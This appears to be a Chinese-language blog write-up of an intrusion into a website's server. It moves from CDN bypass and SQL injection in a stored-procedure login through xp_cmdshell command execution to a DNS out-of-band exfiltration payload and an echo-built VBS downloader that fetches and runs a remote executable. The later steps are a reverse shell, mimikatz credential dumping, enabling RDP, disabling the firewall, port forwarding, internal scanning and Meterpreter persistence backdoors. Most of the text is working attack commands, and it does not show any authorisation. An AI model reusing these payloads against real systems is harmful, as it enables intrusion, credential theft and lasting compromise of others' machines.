用dirsearch掃了一波目錄沒有發現什麼東西web
直接用主站域名解析的ip訪問發現主站是掛有cdn的sql
subDomainsBrute 掃描子域名shell
其中一個子域沒掛CDN,由此找到網站的真實ipwindows
獲得真實ip後nmap掃描發現8099端口有個未知應用服務器
訪問發現是個WEB服務,一個登錄界面app
趁nmap還在工做的時候,簡單瀏覽了下網站的功能,僞靜態,整個網站也沒有什麼動態功能dom
遂把目光放在了nmap掃出的8099端口的web服務tcp
常規測試admin/admin,提示密碼錯誤sqlserver
l3yx/xxxx,帳號不存在測試
那麼能夠肯定的是這裏的帳號和密碼驗證是分開的,確有admin帳號。並且沒有驗證碼,理論上能夠爆破了,但我只手動測試了常見的幾個弱口令,無果。
當輸入一個單引號時(admin'/123123) ,驚喜來了,此處存在sqli!
因而很熟練的構造"萬能密碼",admin/x' or 'x'='x--
而後反應過來了,以前測試發現帳號密碼驗證是分開的,後臺的帳號密碼驗證確定並不是 where username=xxx and password=xxx 這種簡單的sql語句,因此繼續測試觀察報錯信息
帳號密碼的驗證貌似是調用了儲存過程,相似如 execute @result= verify 'xxx','xxx';
當帳號密碼爲admin/11','xx'--時,頁面返回正常
因爲不是很熟悉sqlserver使用存儲過程的注入,想嘗試構造出能成功登錄的payload沒有成功,就換種思路。
sqlserver是默承認以堆疊查詢的,因此只要把以前的語句閉合,那麼就能夠在其後執行任意sql語句,能執行任意sql語句,那麼一樣利用存儲過程就能夠執行系統命令
第一步先用以下語句開啓擴展存儲過程
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
執行系統命令
exec master..xp_cmdshell "whoami"
這裏是不會有回顯的命令執行結果的,因此用ping命令來判斷命令執行結果
有時候能執行命令卻看不見結果也是很難受的,這裏我仍是想可以觀察到命令執行結果,用到DNS帶外的方法,其實就下面一條命令
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
實際測試的時候爬了不少坑,當前執行目錄可能沒有寫權限,換到D目錄
目標服務器貌似沒有nslookup,換成ping
&&這兩個字符必定要編碼,不然被WEB服務器當作參數分隔符了
生成的temp文件要刪除,不然下次執行會失敗
sqlserver中一對雙引號其中的雙引號用兩個雙引號代替
最後的paylaod
exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3"; exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!"""; exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";
沒想到直接就是system權限
cmd命令行作不到下載文件,使用powershell容易被殺毒軟件攔截,在該服務器上測試powershell命令也不成功,因此就用vbs來下載文件
vbs下載文件腳本:
iLocal = LCase(WScript.Arguments(1)) iRemote = LCase(WScript.Arguments(0)) Set xPost = CreateObject("Microsoft.XMLHTTP") xPost.Open "GET",iRemote,0 xPost.Send() Set sGet = CreateObject("ADODB.Stream") sGet.Mode = 3 sGet.Type = 1 sGet.Open() sGet.Write(xPost.responseBody) sGet.SaveToFile iLocal,2
用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
因此先得利用sql注入執行命令把該腳本一點點寫入文件,以下
echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs echo xPost.Send() >>D:/l.vbs echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs echo sGet.Mode = 3 >>D:/l.vbs echo sGet.Type = 1 >>D:/l.vbs echo sGet.Open()>>D:/l.vbs echo sGet.Write(xPost.responseBody)>>D:/l.vbs echo sGet.SaveToFile iLocal,2 >>D:/l.vbs
注意以上命令是不能所有用&&鏈接起來一塊兒輸入的,由於參數限制最大長度爲 128,還有在sqlserver中雙引號內輸入雙引號是須要輸入兩個雙引號的,並非用\轉義,如圖
在執行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令後,看到服務器日誌確有下載記錄
說明vbs腳本寫入成功並且確實下載了文件,可是執行 D:/x.exe 後沒有收到shell懷疑是殺毒軟件給攔了,但我確實作過免殺啊...
後來檢查發現,該服務器是32位系統,而我用的是64位的payload,天然不會成功,後面換成32位的,成功彈回shell
ipconfig
查了一下ip,發現處在內網
查看域用戶
net group /domain
有中文亂碼,原本想用chcp 65001切換成UTF-8代碼頁,但只要切換成UTF-8 shell就斷,不知具體緣由。不過utf-8不行的話chcp 437切換到IBM437英語好了
看到這裏是沒有域的,有點小失望
查看系統基本信息
systeminfo
查看端口,沒開3389
netstat -ano
查看相鄰主機IP
arp –a
抓用戶hash
解密不成功的話能夠用mimikatz直接抓取明文,metasploit已經內置,能夠直接加載
load mimikatz
而後用kerberos命令抓取
或者用mimikatz_command執行mimikatz命令
mimikatz_command -f sekurlsa::logonPasswords
目標3389是沒有開啓的,不過Win七、Win200三、XP系統可用以下命令直接開啓
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
關閉防火牆:
netsh firewall set opmode mode=disable
嘗試關閉防火牆後仍是鏈接不成功
測試發現3389端口仍然爲closed
真是被本身蠢到了...
這臺服務器是在內網,要鏈接天然的先把端口轉發到公網上啊
metasploit端口轉發:
portfwd add -l 3389 -p 3389 -r 192.168.50.2
這句命令是將目標(-r 192.168.50.2)的3389端口(-p 3389)轉發到我服務器的3389端口(-l 3389)
而後打開遠程桌面鏈接,ip即爲我服務器的公網ip,端口因爲也是設置的3389,因此不用改
要對目標內網進行掃描須要先添加一下路由
run autoroute -s 192.168.50.2/24
使用metasploit的portscan掃描一下內網存活的主機
use auxiliary/scanner/portscan/tcp set rhosts 192.168.50.2/24set ports 139, 445 exploit
有點慢呢,最後掃了一半還沒發現其餘主機就放棄了
這個使用很簡單
run metsvc
實際上是給目標開了一個服務
鏈接的話使用exploit/multi/handler模塊,payload設置爲windows/metsvc_bind_tcp,設置目標ip和綁定端口31337
run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx
-U:設置後門在用戶登陸後自啓動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加註冊表信息
-i:設置反向鏈接間隔時間,單位爲秒;
-p:設置反向鏈接的端口號;
-r:設置反向鏈接的ip地址
清除腳本在下圖位置
若要清除後門,在meterpreter運行該腳本便可